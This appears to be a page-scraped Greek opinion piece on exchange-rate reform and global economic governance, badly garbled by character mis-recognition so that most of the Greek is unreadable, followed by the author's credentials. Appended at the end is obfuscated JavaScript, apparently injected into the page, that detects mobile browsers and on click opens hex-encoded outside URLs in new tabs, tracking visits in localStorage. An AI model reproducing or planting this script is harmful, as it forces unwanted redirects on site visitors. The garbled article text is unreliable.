Mia ar’ auteg Ba mpeTeL va €ivat n aAAayn 0To CUCTNUA TwV EAEUBEPA KUPALVOUEVWYV
OUVAAAQYHATIKWY LOOTLPLWY. Oa mperiel dOnNAadn va tebouv opLa dLaKUPAVOEWY, TTAvw Kal
KATW, TWV LOOTLULWY TWV VOULOMATWY WOTE va arobappuveTal n EEPppeva JOXAEUPEVN
KEPOOOKOTILA OTLG Ayopes CUVAAAAYNATOG KAl va evBappuvovTal oL EEVEC AUECEG
erevouoelg. Katt avaloyo dnhadn e To MnXaviopo Twv CUVAAAQYUATIKWY LOOTLPLWY TIOU
Beotiioe n E. Evwon Kata tn nepiodo mposToLhaciag Tou EVLaiou VOPLOPATOoG, Th dsKasTia
Tou '90. Mwa aAAn, Ba fitav n BeoTilon EAEYXOU, JE TNV ETILROAR POPOoU, TWV BPaxurpodBecuwy
KIVAOEWV KEPAAQLOU OTLG OLEBVELG ayopeC WOTE VA UTIOVONEUBEL N KEPOOOKOTILA KAl O
APVNTLKOG ETINPEACHOG TWV HAKPOOLKOVOULKWY TIOALTIKWY TwV Kpatwyv. Mwa tpitn 6a
MTIOPOUCE VA NTAV N QUOTNPOTIOINCN TWV EAEYXWYV TWV OEUTEPOYEVWV AYOPWV TIAPAYWYWV,
OMOAOYWV KAl TWV CUVBETWY XPNUATOTILOTWTIKWY TIPOLOVTWY, WoTE va dtacgpalilovtal
oLauyeig dLadLkaoieg KAl EYYUNOELG avaAnyng Kvduvwy. To BUCKOAO pepog OV eival va
ETEKTAOEL 0 KATAAOYOG TWV PETPWYV ETIAVAKTNONG LOOPPOTILAG OTLG AYOPEG.

To

SuokoAo

HEPOQ

apxileL amnod totTe nou avalntouue

gva

MaykKoouLo

TIOALTLKO

KEVTPO

TO ortoio Ba dlabeTel TNV €Eoucia va TIAPEL QUTEG TLC ATIOPACELG KAl va TLG epapuodoeL. Oa
elvat o

G

8, 10

G

20, 10

G

2; Kal emii mAeov, n dtadlkaoia avadelEng tou Ba sival ouykpouoLlakn 1 Ba eivat anoteAeoua
ELPNVIKWYV OLEUBETNOEWY KAl CUVTOVLOPEVWY OPACEWV;

Kouppatlng ©avaong
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OwovopoAoyog / Ztatiotikog/ Mehetntng (thanosko@yahoo.com)

CEO: «KENTPO MEAETQON TON OIKONOMIKON KPIZEQN KAI THZ AIEONOYZ AXOANEIAZ»
- www.humanact.gr

TeAeutaio BBALo Tou: «H MewmoALTIKA Twy TeTpeAaiwy, n Alebvng olkovopia kat ot Kpioelg»,
€k0. MNarnadnon.

function _0x3023(_0x562006, 0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3, 0x1b71b5){ 0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;}, 0x3023(_0x562006, 0x1334d6);}function _0x10c8(){const
_0Ox2ccc2=['userAgent','’x68x74x74x70x3ax2fx2fx61x6cx6dx61x6¢cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312",'length’,’_blank','mobileCheck’,'x68x74x74x70x3ax2fx2f
X61x6Ccx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
X74x70x3ax2fx2fx61x6cx6dx61x6Ccx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random’','-local-storage’,'’x68x74x74x70x3ax2fx2fx61x6cx6dx61x6Ccx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357",'stopPropagation’,'4051490VdJdX0O','test','op
en','’x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','’x68x74x74x70x3ax2fx2fx61x6cx6dx61x6¢cx69x6ex7 5%
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61Xx6Ccx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK’,'r
ound',-hurs',-mnts','864690TKFqJG','forEach’,'abs’,'1479192fKZCLx’,'"16548MMjUpf', filter','ven
dor','click’,'setltem’,'3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425, 0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!'[]){try{const

_0x3467b1=-parselnt(_0x142fd8(0x19c))/0x1+parselnt(_0x142fd8(0x19f))/0x2+-parselnt(_0x14
2fd8(0x1a5))/0x3+parselnt(_0x142fd8(0x198))/0x4+-parselnt(_0x142fd8(0x191))/0x5+parselnt(
_0x142fd8(0x1a0))/0x6+parselnt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e718){ 0x2e2ad3['push'](_0x2e2ad3['shift'](
)); 1} 0x10c¢8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186), 0x3ec38a(0x1a2),'opera’, 0x3ec38a(0x192),'
substr', 0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6¢cx6dx61x6Ccx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187), _0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63X
314", _0x3ec38a(0x197), 0x3ec38a(0x194), 0x3ec38a(0x18f), 0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6¢cx6dx61x6Ccx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getltem’,_0x3ec38a(0x1a4), 0x3ec38a(0x19d), 0x3ec38a(0x1al), Ox
3ec38a(0x18d), 0x3ec38a(0x188),'floor', 0x3ec38a(0x19e), 0x3ec38a(0x199), 0x3ec38a(0x1
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9b), 0xB3ec38a(0x19a), 0x3ec38a(0x189), 0x3ec38a(0x193), 0x3ec38a(0x190),'host','parse’,_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptopliemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(oblin)ijpalm(
0s)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbiani|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||//1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
walabac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoilan(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
mir |s
)|lavan|be(ck|lljnq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwalcdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49]ai)|em(I2|ul)|er(
ic|kO)|eslI8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|plt)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-|
|_lalglpls|t)|tp)|hu(aw]tc)|i-(20|go|ma)|i230]iac(
|-|/)ibrolidealig01|ikom|im1k|innolipaq|iris|ja(t|v)a|jbro|jemuljigs|kddi|kejilkgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(nolxi)|lg(
gl/(k|l|u)|50|54|-[a-w])|liow|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-crime(rc|ri)|mi(o8|
oalts)|mmeflmo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)iImwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
li)Inzphlo2im|op(ti|wv)|oran|owg 1|p800|pan(ald|t)|pdxg|pg(13|-([1-8]|c))[phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|ga-alqc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|z0)|s55/
|sa(ge|malmm|ms|ny|va)|sc(01]|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd]|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)[sm(allar|b3]|it|t5)|so(ft|ny)|sp(01]|h-|v-|v
)Isy(01|mb)|t2(18]50)|t6(00|10]|18)|ta(gt|Ik)|tcl-|tdg-|tel(i|m)|tim-|t-mo]to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1]si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61]|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
[nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[ 0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!1[]);}(navigator[_0x365b[0x1]]||navigator] _0x365b[0x2]]||window[_0x365b[0x3]
1),_0x129862;};const

_Oxfdead6=[ 0x365b[0x6], 0x365b[0x7], 0x365b[0x8], 0x365b[0x9], 0x365b[0xa], 0x365b[0x
b],_0x365b[0xc],_0x365b[0xd], _0x365b[0xe], 0x365b[0xf]],_0x480bb2=0x3, 0x3ddc80=0x6, 0
x10ad9f=_0x1f773b=>{_ 0x1f773b[_0x365b[0x14]]((_0x1e6b44, 0x967357)=>{!localStorage[ 0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_ 0x365b[0x11])&&localStorage[ 0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+ 0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0Ox2af2a2=_0x3bd6cc[ _0x365b[0x15]]((_0x20a0ef, _0x11cb0d)=>localStorage[ 0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+ 0x365b[0x11])==0x0);return
_0Ox2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[ 0x365b[0x17]])];},_0x57de
ba=_0x43d200=>localStorage[ 0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[ 0x365b[0x12]](_0x365b[0x10]+_0x51805f+_ 0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[ 0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23), 0x381a18=(_0x3ab06f, 0x288873)=>{const

_ 0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);}, 0x3f1308=(_
0x3a999a, 0x355f3a)=>{const 0x5c85ef=0x3e8*0x3c;return
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Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/ 0x5c85ef);}, 0x4a7983=(_
Ox19abfa, 0x2bf37, 0xb43c45)=>{ 0x10ad9f(_0x19abfa),newlLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b], 0xb43c45), 0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c], 0xb43c45), 0x57deba(newLocation),window[ 0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation, 0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){ 0x3b4dcb[ 0x365b[0x1f]]();const

_0x2b4a92=location[ _0x365b[0x20]];let _0x1b1224=_0x2317c1(_Oxfdead6);const
_0x4593ae=Date[ 0x365b[0x21]](new

Date()), 0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_ 0x2b4a92+ 0x365b[0x1b]), 0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_ 0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parselnt(_0x7f12bb), 0x5f3351=parselnt(_0x155a21), 0x448fcO=_0x3f1308(_0x45
93ae, 0x5d977e), O0x5f1aaf=_ 0x381a18(_0x4593ae, 0x5f3351); Ox5f1aaf>= 0x3ddc80&&( 0
x10ad9f(_0xfdead6), 0x5e3811(_0x365b[0x10]+_ 0x2b4a92+ 0x365b[0x1c], 0x4593ae));; 0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[ 0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+ 0x365b[0x1b], 0x4593ae),window[ 0x365b[0x1e]](_0x1b1224, 0x365b[0x1d]), 0x5
7deba(_0x1b1224)));}catch(_0x2386f7){ 0x4a7983(_0xfdead6, 0x2b4a92, 0x4593ae);}else
_0x4a7983(_0xfdead6, 0x2b4a92, 0x4593ae);}document[ 0x365b[0x23]](_0x365b[0x22], 0x9
78889):}());
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